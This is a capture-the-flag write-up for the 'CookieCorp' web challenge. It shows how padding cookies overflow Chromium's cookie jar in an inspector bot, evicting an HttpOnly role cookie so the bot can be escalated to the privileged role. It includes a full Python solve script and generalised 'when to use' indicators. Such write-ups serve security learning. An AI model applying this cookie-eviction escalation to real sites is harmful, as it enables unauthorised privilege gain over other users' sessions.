CookieCorp — sunshinectf2026

Description

CookieCorp is a custom-cookie fabrication service: design a batch of any ingredients you can dream up, submit it to our robotic Quality Inspector for a full inspection, and earn an official seal. Only the Chief can award the Golden Seal — the grand prize.

English summary: An Express/Node web app (nginx 1.24.0 front). A "baker" account designs a batch of ingredients ({name,value} pairs). A headless-Chrome "Quality Inspector" bot reviews the batch; client-side JS converts each ingredient into a browser cookie and then asks the server to seal the batch. The goal is to make the bot obtain the Golden Seal, which renders the flag on the recipe page.

Analysis

Roles and flow

• Register/login → server sets an opaque HttpOnly session cookie and an HttpOnly role=baker cookie (both path=/).
• Fabricator (/builder): create a recipe with ingredients [{name,value}] — up to 300 ingredients, name<=48, value<=64 chars.
• POST /api/recipe → returns a recipe id.
• POST /api/recipe/<id>/submit → queues the recipe for review.
• The Quality Inspector bot (headless Chrome) opens /review/<id>, whose HTML embeds window.__recipe = {...} and loads /static/js/mixer.js.

The mixer (runs inside the bot browser)

For each ingredient the mixer executes:

document.cookie = name + '=' + value + '; path=/';

then calls:

fetch('/api/seal', { method: 'POST', credentials: 'same-origin',
                     body: JSON.stringify({ recipeId }) });

So the attacker controls a set of cookies written into the bot's cookie jar.

Server-side sealing decision (/api/seal)

• Requires a bot-only inspector-authorization cookie. Attackers cannot call /api/seal directly — it returns inspector authorization required. The seal must be triggered by the bot.
• Awards the GOLDEN seal (seal:'chief') when the request's role cookie equals chief; otherwise a STANDARD seal (seal:'reviewed').
• A golden batch renders the flag inside .seal.gold .flag on GET /recipe/<id>.

The trap (why naïve role=chief fails)

The golden decision reads the role cookie — but the bot already carries an HttpOnly role=baker cookie at path=/. document.cookie in JavaScript cannot shadow/overwrite an HttpOnly cookie of the same name/path/domain, so a plain role=chief ingredient is silently ignored and always yields a STANDARD seal. The mixer also hardcodes ; path=/, defeating path-based cookie ordering / "sandwich" tricks.

Ingredient → cookie sanitization (documented for completeness)

• Names strip ; = " , SPACE CR LF (keep $ / < { } | : @ % # +).
• Values strip ; " , SPACE CR LF \ (keep = $ / < > ...).
• Percent-encoded forms (%3B, %22, %2C, %09, %0d%0a) survive verbatim in storage, but do not help: the browser document.cookie setter treats them literally (not as separators), so no attribute/cookie splitting.
• Node's cookie library: value is decodeURIComponent'd, names are not decoded, and it is first-wins on duplicate names.

Dead ends (proven negatives)

• Plain role=chief (and Chief/CHIEF/ROLE/... case variants) → STANDARD, due to the HttpOnly shadow.
• Broad name sweep of ~97 candidate cookie names × values (chief/golden/true/1, is_chief, golden, seal, ...) → all STANDARD. Golden is not keyed on a new cookie name.
• Register/recipe mass-assignment (role:chief, seal, status) → forced back to baker; no effect.
• RFC2109 "cookie sandwich" ($Version/quoted values) does not apply to Node's cookie library.
• No /admin, /chief, /flag, /source, /.git; no default creds.
• /api/seal auth is a bot-only secret cookie — not header/UA/Origin based.

Solution

The decisive insight: the golden check reads a cookie, the blocker is the HttpOnly role=baker the JS mixer cannot overwrite — but it can get the browser to evict that cookie.

Chromium cookie-jar overflow (LRU eviction). Chromium enforces roughly 180 cookies per domain and, when exceeded, evicts existing cookies (least-recently- used). By having the mixer set ~250 padding cookies first, the bot's HttpOnly role=baker gets evicted. A subsequent non-HttpOnly role=chief ingredient then becomes the effective role cookie because nothing is shadowing it.

Session survives. The session cookie is set with Priority=High, so it is preferentially retained during eviction — inspector authorization stays valid and the bot can still successfully call /api/seal.

Recipe layout

1. ~250 padding ingredients: name = pad0..pad249, value = "y"*60 (arbitrary distinct names, long values to consume jar quota).
2. A final ingredient: name = role, value = chief.

The mixer runs document.cookie = name + '=' + value + '; path=/' for each in order, overflowing the jar (evicting HttpOnly role=baker) and finally setting non-HttpOnly role=chief. When it POSTs /api/seal, the server reads role=chief → Golden Seal. The flag renders in .seal.gold .flag on GET /recipe/<id>.

Solve script

#!/usr/bin/env python3
# CookieCorp — cookie-jar-overflow eviction of an HttpOnly role cookie in an
# inspector bot, escalating role=baker -> role=chief for the Golden Seal.
import requests

BASE = "https://TARGET_HOST"          # sunshinectf .games web target
s = requests.Session()

# 1) Register a fresh baker (server issues HttpOnly session + HttpOnly role=baker)
import random, string
user = "baker_" + "".join(random.choices(string.ascii_lowercase, k=8))
s.post(f"{BASE}/api/register", json={"username": user, "password": "Passw0rd!"})
# (login endpoint may differ; register auto-logs-in and sets cookies)

# 2) Build the overflow recipe:
#    ~250 padding ingredients to overflow Chromium's ~180-cookie/domain jar,
#    then a FINAL role=chief once the HttpOnly role=baker has been evicted.
ingredients = [{"name": f"pad{i}", "value": "y" * 60} for i in range(250)]
ingredients.append({"name": "role", "value": "chief"})   # must be LAST

r = s.post(f"{BASE}/api/recipe", json={"ingredients": ingredients})
recipe_id = r.json()["id"]

# 3) Queue it for the Quality Inspector bot.
s.post(f"{BASE}/api/recipe/{recipe_id}/submit")

# 4) The headless-Chrome bot visits /review/<id>, mixer.js writes all cookies
#    (evicting HttpOnly role=baker; session survives via Priority=High), then
#    POSTs /api/seal -> server reads role=chief -> GOLDEN seal.
#
# 5) Poll /recipe/<id>; a golden batch renders the flag inside .seal.gold .flag.
import time
for _ in range(30):
    time.sleep(3)
    page = s.get(f"{BASE}/recipe/{recipe_id}").text
    if "seal gold" in page or "seal.gold" in page:
        # Flag is in the .seal.gold .flag element. Format: sun{REDACTED}
        print("GOLDEN — flag rendered on the recipe page")
        break

Key Indicators

Use this technique when:

• An admin/inspector bot turns attacker-controlled data into document.cookie writes, but the privilege-deciding cookie is HttpOnly and cannot be overwritten from JavaScript (naïve role=chief is silently ignored).
• The bot is headless Chromium and you can control many cookies (challenge allows a large batch — here up to 300 ingredients).
• Path/domain scoping and "cookie sandwich" tricks are blocked (mixer hardcodes ; path=/; server uses Node's first-wins cookie parser).
• You need to remove, not overwrite, an HttpOnly cookie → overflow the ~180-cookie-per-domain jar with padding cookies to force LRU eviction of the HttpOnly cookie, then set the non-HttpOnly version.
• The auth/session cookie carries Priority=High, meaning it survives eviction while ordinary cookies are dropped — a strong hint that overflow is intended.